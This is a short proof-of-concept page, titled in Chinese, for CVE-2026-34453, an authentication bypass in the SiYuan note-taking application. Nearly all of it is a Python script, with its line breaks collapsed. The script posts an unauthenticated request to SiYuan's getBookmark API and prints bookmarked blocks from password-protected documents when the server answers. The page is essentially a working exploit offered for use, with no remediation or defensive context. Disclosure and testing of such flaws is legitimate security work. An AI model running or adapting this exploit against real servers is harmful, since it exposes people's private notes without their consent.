CVE-2026-34453 SiYuan权限绕过漏洞

import requests def verify_vulnerability(target_url): """ PoC for CVE-2026-34453 Attempts to retrieve bookmarked blocks from protected documents without authentication. """ endpoint = f"{target_url}/api/bookmark/getBookmark" headers = {"Content-Type": "application/json"} # The vulnerability allows unauthenticated access due to nil context handling # Sending a basic request structure expected by SiYuan API payload = { "mode": "local", "id": "any_bookmark_id" # If any bookmark exists } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Vulnerability confirmed: Data retrieved without password.") print(response.text) else: print(f"[-] Target does not appear vulnerable or API structure changed. Status: {response.status_code}") except Exception as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1:6806" # Default SiYuan port verify_vulnerability(target)